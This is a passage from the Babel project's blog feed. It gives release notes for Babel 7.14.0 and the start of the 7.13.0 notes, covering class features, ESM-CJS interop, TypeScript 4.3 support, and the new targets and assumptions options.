class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token comment" style="color:#8e908c">// Enable the Stage 3 plugin</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">acorn</span><span class="token punctuation">.</span><span class="token property-access maybe-class-name">Parser</span><span class="token plain"> </span><span class="token operator">=</span><span class="token plain"> acorn</span><span class="token punctuation">.</span><span class="token property-access maybe-class-name">Parser</span><span class="token punctuation">.</span><span class="token method function property-access" style="color:#4271ae">extend</span><span class="token punctuation">(</span><span class="token function" style="color:#4271ae">require</span><span class="token punctuation">(</span><span class="token string" style="color:#718c00">"acorn-stage3"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span><br></span></code></pre></div></div><p>If this doesn't work for you, or if you use a different tool that doesn't support class fields, you still need to use the Babel plugins to transform them.</p></div></div>
<p>If you are using <code>@babel/preset-env</code>'s <a href="https://babeljs.io/docs/en/babel-preset-env#shippedproposals" target="_blank" rel="noopener noreferrer" class=""><code>shippedProposals</code></a> option, it now also includes the <code>@babel/plugin-proposal-private-property-in-object</code> (introduced in <a href="https://babel.dev/blog/2020/05/25/7.10.0#private-fields-in-in-11372httpsgithubcombabelbabelpull11372" target="_blank" rel="noopener noreferrer" class="">7.10</a>) and <code>@babel/plugin-proposal-class-static-block</code> (introduced in <a href="https://babel.dev/blog/2020/10/15/7.12.0#class-static-blocks-12079httpsgithubcombabelbabelpull12079-12143httpsgithubcombabelbabelpull12143" target="_blank" rel="noopener noreferrer" class="">7.12</a>) plugins: you can safely remove them from your configuration.</p>
<div class="language-js codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockTitle_kY6l">JavaScript</div><div class="codeBlockContent_t_Hd"><pre tabindex="0" class="prism-code language-js codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token keyword" style="color:#8959a8">class</span><span class="token plain"> </span><span class="token class-name" style="color:#eab700">Foo</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  #bar </span><span class="token operator">=</span><span class="token plain"> </span><span class="token string" style="color:#718c00">"bar"</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token function" style="color:#4271ae">test</span><span class="token punctuation">(</span><span class="token parameter" style="color:#f5871f">obj</span><span class="token punctuation">)</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    </span><span class="token keyword control-flow" style="color:#8959a8">return</span><span class="token plain"> #bar </span><span class="token keyword" style="color:#8959a8">in</span><span class="token plain"> obj</span><span class="token punctuation">;</span><span class="token plain"> </span><span class="token comment" style="color:#8e908c">// private-property-in-object</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token punctuation">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token keyword" style="color:#8959a8">static</span><span class="token plain"> #x </span><span class="token operator">=</span><span class="token plain"> </span><span class="token number" style="color:#f5871f">42</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token keyword" style="color:#8959a8">static</span><span class="token plain"> y</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token keyword" style="color:#8959a8">static</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"> </span><span class="token comment" style="color:#8e908c">// static block</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    </span><span class="token keyword control-flow" style="color:#8959a8">try</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">      </span><span class="token keyword" style="color:#8959a8">this</span><span class="token punctuation">.</span><span class="token property-access">y</span><span class="token plain"> </span><span class="token operator">=</span><span class="token plain"> </span><span class="token function" style="color:#4271ae">doSomethingWith</span><span class="token punctuation">(</span><span class="token keyword" style="color:#8959a8">this</span><span class="token punctuation">.</span><span class="token property-access">#x</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    </span><span class="token punctuation">}</span><span class="token plain"> </span><span class="token keyword control-flow" style="color:#8959a8">catch</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">      </span><span class="token keyword" style="color:#8959a8">this</span><span class="token punctuation">.</span><span class="token property-access">y</span><span class="token plain"> </span><span class="token operator">=</span><span class="token plain"> </span><span class="token string" style="color:#718c00">"unknown"</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    </span><span class="token punctuation">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token punctuation">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token punctuation">}</span><br></span></code></pre></div></div>
<h3 class="anchor anchorTargetStickyNavbar_tleR" id="better-esm-cjs-interop">Better ESM-CJS interop<a href="https://babeljs.io/blog/2021/04/29/7.14.0#better-esm-cjs-interop" class="hash-link" aria-label="Direct link to Better ESM-CJS interop" title="Direct link to Better ESM-CJS interop" translate="no">​</a></h3>
<p>When importing a CommonJS file from an ECMAScript module, Node.js has different semantics than most of the tools in the JavaScript ecosystem.</p>
<p>Suppose that you are depending on the following library:</p>
<div class="language-js codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockTitle_kY6l">JavaScript</div><div class="codeBlockContent_t_Hd"><pre tabindex="0" class="prism-code language-js codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token keyword module" style="color:#8959a8">export</span><span class="token plain"> </span><span class="token keyword module" style="color:#8959a8">default</span><span class="token plain"> </span><span class="token keyword" style="color:#8959a8">function</span><span class="token plain"> </span><span class="token function" style="color:#4271ae">two</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token keyword control-flow" style="color:#8959a8">return</span><span class="token plain"> </span><span class="token number" style="color:#f5871f">2</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token punctuation">}</span><br></span></code></pre></div></div>
<p>And the author of this library doesn't publish it as-is, but compiles it to CommonJS:</p>
<div class="language-js codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockTitle_kY6l">JavaScript</div><div class="codeBlockContent_t_Hd"><pre tabindex="0" class="prism-code language-js codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token string" style="color:#718c00">"use strict"</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token known-class-name class-name" style="color:#eab700">Object</span><span class="token punctuation">.</span><span class="token method function property-access" style="color:#4271ae">defineProperty</span><span class="token punctuation">(</span><span class="token plain">exports</span><span class="token punctuation">,</span><span class="token plain"> </span><span class="token string" style="color:#718c00">"__esModule"</span><span class="token punctuation">,</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"> </span><span class="token literal-property property">value</span><span class="token operator">:</span><span class="token plain"> </span><span class="token boolean" style="color:#f5871f">true</span><span class="token plain"> </span><span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">exports</span><span class="token punctuation">.</span><span class="token keyword module" style="color:#8959a8">default</span><span class="token plain"> </span><span class="token operator">=</span><span class="token plain"> two</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token keyword" style="color:#8959a8">function</span><span class="token plain"> </span><span class="token function" style="color:#4271ae">two</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token keyword control-flow" style="color:#8959a8">return</span><span class="token plain"> </span><span class="token number" style="color:#f5871f">2</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token punctuation">}</span><br></span></code></pre></div></div>
<p>When importing this library with Babel (or TypeScript, Rollup or similar tools) and compiling your code to CommonJS, it will look like:</p>
<div class="language-js codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockTitle_kY6l">JavaScript</div><div class="codeBlockContent_t_Hd"><pre tabindex="0" class="prism-code language-js codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token keyword module" style="color:#8959a8">import</span><span class="token plain"> </span><span class="token imports">two</span><span class="token plain"> </span><span class="token keyword module" style="color:#8959a8">from</span><span class="token plain"> </span><span class="token string" style="color:#718c00">"two"</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token console class-name" style="color:#eab700">console</span><span class="token punctuation">.</span><span class="token method function property-access" style="color:#4271ae">log</span><span class="token punctuation">(</span><span class="token function" style="color:#4271ae">two</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span><br></span></code></pre></div></div>
<p>One day, you decide to provide two versions of your code: a compiled CommonJS one, and one using native ECMAScript modules.</p>
<p>While the compiled version works, the ESM one will throw <code>TypeError: two is not a function</code>. This is because in Node.js, the default import is <em>not</em> the dependency's <code>exports.default</code>, but the whole <code>module.exports</code> object instead.</p>
<p>You could change your code to:</p>
<div class="language-js codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockTitle_kY6l">JavaScript</div><div class="codeBlockContent_t_Hd"><pre tabindex="0" class="prism-code language-js codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token keyword module" style="color:#8959a8">import</span><span class="token plain"> </span><span class="token imports">two</span><span class="token plain"> </span><span class="token keyword module" style="color:#8959a8">from</span><span class="token plain"> </span><span class="token string" style="color:#718c00">"two"</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token console class-name" style="color:#eab700">console</span><span class="token punctuation">.</span><span class="token method function property-access" style="color:#4271ae">log</span><span class="token punctuation">(</span><span class="token plain">two</span><span class="token punctuation">.</span><span class="token keyword module" style="color:#8959a8">default</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span><br></span></code></pre></div></div>
<p>However, this new code has a problem: it now doesn't work when compiled, because <code>two.default</code> is not a function.</p>
<p>Babel v7.14.0 adds a new <code>importInterop: "node"</code> option in the <a href="https://babeljs.io/docs/en/babel-plugin-transform-modules-commonjs" target="_blank" rel="noopener noreferrer" class=""><code>@babel/plugin-transform-modules-commonjs</code></a> plugin that allows <code>import</code> statements to match the native Node.js behavior. You can read more about this option <a href="https://babeljs.io/docs/en/babel-plugin-transform-modules-commonjs#importInterop" target="_blank" rel="noopener noreferrer" class="">in the docs</a>.</p>
<p><a href="https://github.com/nicolo-ribaudo" target="_blank" rel="noopener noreferrer" class="">Nicolò</a> from our team also <a href="https://github.com/rollup/plugins/pull/838" target="_blank" rel="noopener noreferrer" class="">contributed</a> a similar option to <code>@rollup/plugin-commonjs</code>, which will be out in the next release. Our goal is to help the ecosystem migrate to native ECMAScript modules by providing an easier migration path.</p>
<h3 class="anchor anchorTargetStickyNavbar_tleR" id="typescript-43">TypeScript 4.3<a href="https://babeljs.io/blog/2021/04/29/7.14.0#typescript-43" class="hash-link" aria-label="Direct link to TypeScript 4.3" title="Direct link to TypeScript 4.3" translate="no">​</a></h3>
<p>The new TypeScript version, which will be released as stable in May, supports a few new features:</p>
<ul>
<li class=""><code>override</code> modifiers in class elements</li>
<li class="">static index signatures (<code>[key: KeyType]: ValueType</code>) in classes</li>
<li class=""><code>get</code>/<code>set</code> in type declarations</li>
</ul>
<p>You can read more about them in the <a href="https://devblogs.microsoft.com/typescript/announcing-typescript-4-3/" target="_blank" rel="noopener noreferrer" class="">TypeScript 4.3 release post</a>. This is supported through <a href="https://babeljs.io/docs/en/babel-preset-typescript" target="_blank" rel="noopener noreferrer" class="">@babel/preset-typescript</a>.</p>
<h3 class="anchor anchorTargetStickyNavbar_tleR" id="async-do-expressions"><code>async do</code> expressions<a href="https://babeljs.io/blog/2021/04/29/7.14.0#async-do-expressions" class="hash-link" aria-label="Direct link to async-do-expressions" title="Direct link to async-do-expressions" translate="no">​</a></h3>
<p><a href="https://github.com/tc39/proposal-async-do-expressions" target="_blank" rel="noopener noreferrer" class=""><code>async do</code> expressions</a> are a Stage 1 proposal built on top of the <a href="https://github.com/tc39/proposal-do-expressions" target="_blank" rel="noopener noreferrer" class=""><code>do</code> expressions</a> proposal.</p>
<p>They allow using asynchronous blocks within synchronous code, and those blocks are evaluated as a promise:</p>
<div class="language-js codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockTitle_kY6l">JavaScript</div><div class="codeBlockContent_t_Hd"><pre tabindex="0" class="prism-code language-js codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token keyword" style="color:#8959a8">function</span><span class="token plain"> </span><span class="token function" style="color:#4271ae">sync</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token keyword" style="color:#8959a8">let</span><span class="token plain"> x </span><span class="token operator">=</span><span class="token plain"> </span><span class="token keyword" style="color:#8959a8">async</span><span class="token plain"> </span><span class="token keyword control-flow" style="color:#8959a8">do</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    </span><span class="token keyword" style="color:#8959a8">let</span><span class="token plain"> res </span><span class="token operator">=</span><span class="token plain"> </span><span class="token keyword control-flow" style="color:#8959a8">await</span><span class="token plain"> </span><span class="token known-class-name class-name" style="color:#eab700">Promise</span><span class="token punctuation">.</span><span class="token method function property-access" style="color:#4271ae">resolve</span><span class="token punctuation">(</span><span class="token string" style="color:#718c00">"Third!"</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    </span><span class="token console class-name" style="color:#eab700">console</span><span class="token punctuation">.</span><span class="token method function property-access" style="color:#4271ae">log</span><span class="token punctuation">(</span><span class="token string" style="color:#718c00">"Second!"</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    res</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token punctuation">}</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token console class-name" style="color:#eab700">console</span><span class="token punctuation">.</span><span class="token method function property-access" style="color:#4271ae">log</span><span class="token punctuation">(</span><span class="token string" style="color:#718c00">"First!"</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  x</span><span class="token punctuation">.</span><span class="token method function property-access" style="color:#4271ae">then</span><span class="token punctuation">(</span><span class="token console class-name" style="color:#eab700">console</span><span class="token punctuation">.</span><span class="token property-access">log</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token punctuation">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token console class-name" style="color:#eab700">console</span><span class="token punctuation">.</span><span class="token method function property-access" style="color:#4271ae">log</span><span class="token punctuation">(</span><span class="token function" style="color:#4271ae">sync</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token comment" style="color:#8e908c">// Logs:</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token comment" style="color:#8e908c">// - "First!"</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token comment" style="color:#8e908c">// - "Second!"</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token comment" style="color:#8e908c">// - "Third!"</span><br></span></code></pre></div></div>
<p>You can test this proposal (and report feedback!) by adding the <a href="https://babeljs.io/docs/en/babel-plugin-proposal-do-expressions" target="_blank" rel="noopener noreferrer" class=""><code>@babel/plugin-proposal-do-expressions</code></a> and <a href="https://babeljs.io/docs/en/babel-plugin-proposal-async-do-expressions" target="_blank" rel="noopener noreferrer" class=""><code>@babel/plugin-proposal-async-do-expressions</code></a> plugins to your Babel configuration.</p>
<div class="theme-admonition theme-admonition-caution admonition_WCGJ alert alert--warning"><div class="admonitionHeading_GCBg"><span class="admonitionIcon_L39b"><svg viewBox="0 0 16 16"><path fill-rule="evenodd" d="M8.893 1.5c-.183-.31-.52-.5-.887-.5s-.703.19-.886.5L.138 13.499a.98.98 0 0 0 0 1.001c.193.31.53.501.886.501h13.964c.367 0 .704-.19.877-.5a1.03 1.03 0 0 0 .01-1.002L8.893 1.5zm.133 11.497H6.987v-2.003h2.039v2.003zm0-3.004H6.987V5.987h2.039v4.006z"></path></svg></span>caution</div><div class="admonitionContent_pbrs"><p>These proposals are <em>highly experimental</em>. They can, and likely will continue to evolve. It could take years before they are standardized, and may even be rejected altogether. You are welcome to test them, but we do not recommend using them in production.</p></div></div>
<hr>
<p>Do you have any comment or question? Discuss <a href="https://github.com/babel/babel/discussions/13230" target="_blank" rel="noopener noreferrer" class="">on GitHub</a>!</p>]]></content:encoded>
            <author>team@babeljs.io (Babel Team)</author>
        </item>
        <item>
            <title><![CDATA[7.13.0 Released: Records and Tuples, granular compiler assumptions, and top-level targets]]></title>
            <link>https://babeljs.io/blog/2021/02/22/7.13.0</link>
            <guid>https://babeljs.io/blog/2021/02/22/7.13.0</guid>
            <pubDate>Fri, 01 Jan 2021 00:00:00 GMT</pubDate>
            <description><![CDATA[We just published Babel 7.13.0, the first minor release of 2021!]]></description>
            <content:encoded><![CDATA[<p>We just published Babel 7.13.0, the first minor release of 2021!</p>
<p>This release includes some important features to <code>@babel/core</code>: a <code>targets</code> option (similar to <code>@babel/preset-env</code>'s one) that can be shared across different plugins, an <code>assumptions</code> option to precisely tune your configuration to produce a smaller compilation output, and support for plugins and presets written using native ECMAScript modules.</p>
<p>Babel now supports transforming the <a href="https://github.com/tc39/proposal-record-tuple" target="_blank" rel="noopener noreferrer" class="">Records and Tuples</a> ECMAScript proposal, which brings immutable data structures and structural equality to JavaScript, and parsing the <a href="https://github.com/tc39/proposal-js-module-blocks" target="_blank" rel="noopener noreferrer" class="">Module Blocks</a> proposal.</p>
<p>Additionally, we added support for some new Flow and TypeScript features.</p>
<p>You can read the full changelog on <a href="https://github.com/babel/babel/releases/tag/v7.13.0" target="_blank" rel="noopener noreferrer" class="">GitHub</a>.</p>
<h3 class="anchor anchorTargetStickyNavbar_tleR" id="funding-update">Funding Update<a href="https://babeljs.io/blog/2021/02/22/7.13.0#funding-update" class="hash-link" aria-label="Direct link to Funding Update" title="Direct link to Funding Update" translate="no">​</a></h3>
<p>We have joined the "GitHub Sponsors for organizations" program, so you can now sponsor us directly through GitHub 😊.</p>
<iframe src="https://github.com/sponsors/babel/button" title="Sponsor Babel on GitHub" height="35" width="116" style="border:0;margin:auto;display:block"></iframe>
<p>These funds are used to support our team's (currently one full-time and three part-time maintainers) continued efforts in improving stability and developing new features.</p>
<p>Both our donations and expenses are openly tracked through our <a href="https://opencollective.com/babel" target="_blank" rel="noopener noreferrer" class="">Open Collective</a> page, where we will also track donations coming from GitHub Sponsors.</p>
<p>We welcome donations from both individual and companies. If your company is interested in becoming a Gold tier sponsor ($1k/month) and wants to discuss more, please reach out to <a href="mailto:team@babeljs.io" target="_blank" rel="noopener noreferrer" class="">team@babeljs.io</a>!</p>
<h2 class="anchor anchorTargetStickyNavbar_tleR" id="highlights">Highlights<a href="https://babeljs.io/blog/2021/02/22/7.13.0#highlights" class="hash-link" aria-label="Direct link to Highlights" title="Direct link to Highlights" translate="no">​</a></h2>
<h3 class="anchor anchorTargetStickyNavbar_tleR" id="top-level-targets-option-12189-rfc">Top-level <code>targets</code> option (<a href="https://github.com/babel/babel/pull/12189" target="_blank" rel="noopener noreferrer" class="">#12189</a>, <a href="https://github.com/babel/rfcs/pull/2" target="_blank" rel="noopener noreferrer" class="">RFC</a>)<a href="https://babeljs.io/blog/2021/02/22/7.13.0#top-level-targets-option-12189-rfc" class="hash-link" aria-label="Direct link to top-level-targets-option-12189-rfc" title="Direct link to top-level-targets-option-12189-rfc" translate="no">​</a></h3>
<p><code>@babel/preset-env</code>'s <code>targets</code> option allows users to specify their target environments, automatically choosing which syntax to transform and what polyfills to inject. Since releasing <code>@babel/preset-env</code>, we've learned that plugins <em>themselves</em> can also benefit from knowing your targets. Currently, this can a bit cumbersome, as you have to specify your targets twice (for example, if you are using our <a href="https://github.com/babel/babel-polyfills" target="_blank" rel="noopener noreferrer" class="">new polyfill plugins</a>). By introducing <code>targets</code> as a top level option, you now only have to specify your targets once:</p>
<table><thead><tr><th>Old configuration</th><th>New configuration</th></tr></thead><tbody><tr><td><div class="language-json codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockTitle_kY6l">babel.config.json</div><div class="codeBlockContent_t_Hd"><pre tabindex="0" class="prism-code language-json codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token property">"presets"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token punctuation">[</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    </span><span class="token punctuation">[</span><span class="token string" style="color:#718c00">"@babel/preset-env"</span><span class="token punctuation">,</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">        </span><span class="token property">"targets"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#718c00">"&gt;1%, not ie 11"</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    </span><span class="token punctuation">}</span><span class="token punctuation">]</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token punctuation">]</span><span class="token punctuation">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token property">"plugins"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token punctuation">[</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    </span><span class="token punctuation">[</span><span class="token string" style="color:#718c00">"polyfill-es-shims"</span><span class="token punctuation">,</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">      </span><span class="token property">"targets"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#718c00">"&gt;1%, not ie 11"</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    </span><span class="token punctuation">}</span><span class="token punctuation">]</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token punctuation">]</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token punctuation">}</span><br></span></code></pre></div></div></td><td><div class="language-json codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockTitle_kY6l">JSON</div><div class="codeBlockContent_t_Hd"><pre tabindex="0" class="prism-code language-json codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token property">"targets"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#718c00">"&gt;1%, not ie 11"</span><span class="token punctuation">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token property">"presets"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token punctuation">[</span><span class="token string" style="color:#718c00">"@babel/preset-env"</span><span class="token punctuation">]</span><span class="token punctuation">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token property">"plugins"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token punctuation">[</span><span class="token string" style="color:#718c00">"polyfill-es-shims"</span><span class="token punctuation">]</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token punctuation">}</span><br></span></code></pre></div></div></td></tr></tbody></table>
<p>We recommended converting your Babel config to use the new top-level <code>targets</code> option, as it has the following additional benefits:</p>
<ol>
<li class="">It has better handling of the <a href="https://babel.dev/docs/en/options#targetsesmodules" target="_blank" rel="noopener noreferrer" class=""><code>esmodules: true</code></a> target. (it's intersected with the other targets, rather than replacing them)</li>
<li class="">As we introduce additional <code>targets</code>-related support in our plugins, you'll automatically benefit from more optimized output!</li>
</ol>
<p>You can read the details about this new option in its <a href="https://github.com/babel/rfcs/blob/master/rfcs/0002-top-level-targets.md" target="_blank" rel="noopener noreferrer" class="">RFC</a>.</p>
<blockquote>
<p>🔮 In the future we might explore moving <code>@babel/preset-env</code> into <code>@babel/core</code> so that you don't have to install an additional package to get started with Babel. This new option can be seen as the first step in that direction!</p>
</blockquote>
<h3 class="anchor anchorTargetStickyNavbar_tleR" id="top-level-assumptions-option-12219-rfc">Top-level <code>assumptions</code> option (<a href="https://github.com/babel/babel/pull/12219" target="_blank" rel="noopener noreferrer" class="">#12219</a>, <a href="https://github.com/babel/rfcs/pull/5" target="_blank" rel="noopener noreferrer" class="">RFC</a>)<a href="https://babeljs.io/blog/2021/02/22/7.13.0#top-level-assumptions-option-12219-rfc" class="hash-link" aria-label="Direct link to top-level-assumptions-option-12219-rfc" title="Direct link to top-level-assumptions-option-12219-rfc" translate="no">​</a></h3>
<p>Many of our plugins have a <code>loose</code> option, which tells Babel to generate smaller/faster output by making certain assumptions about your code and ignoring certain edge cases in the JavaScript spec.</p>
<p>However, <code>loose</code> has some problems that lead to user confusion: the term itself does not help to describe how exactly it affects the compiler's behavior and, worse, sometimes requires setting configuration for multiple plugins to ensure everything compiles.</p>
<p>To help fix these problems, we've added a new top level option to tell Babel which assumptions it can make about your code: <code>assumptions</code>! Similar to the new <code>targets</code> option, every plugin will now receive the assumptions you've enabled, eliminating the need to set the option individually. This is really valuable since a plugin can be influenced by multiple assumptions, and an assumption can influence multiple plugins.</p>
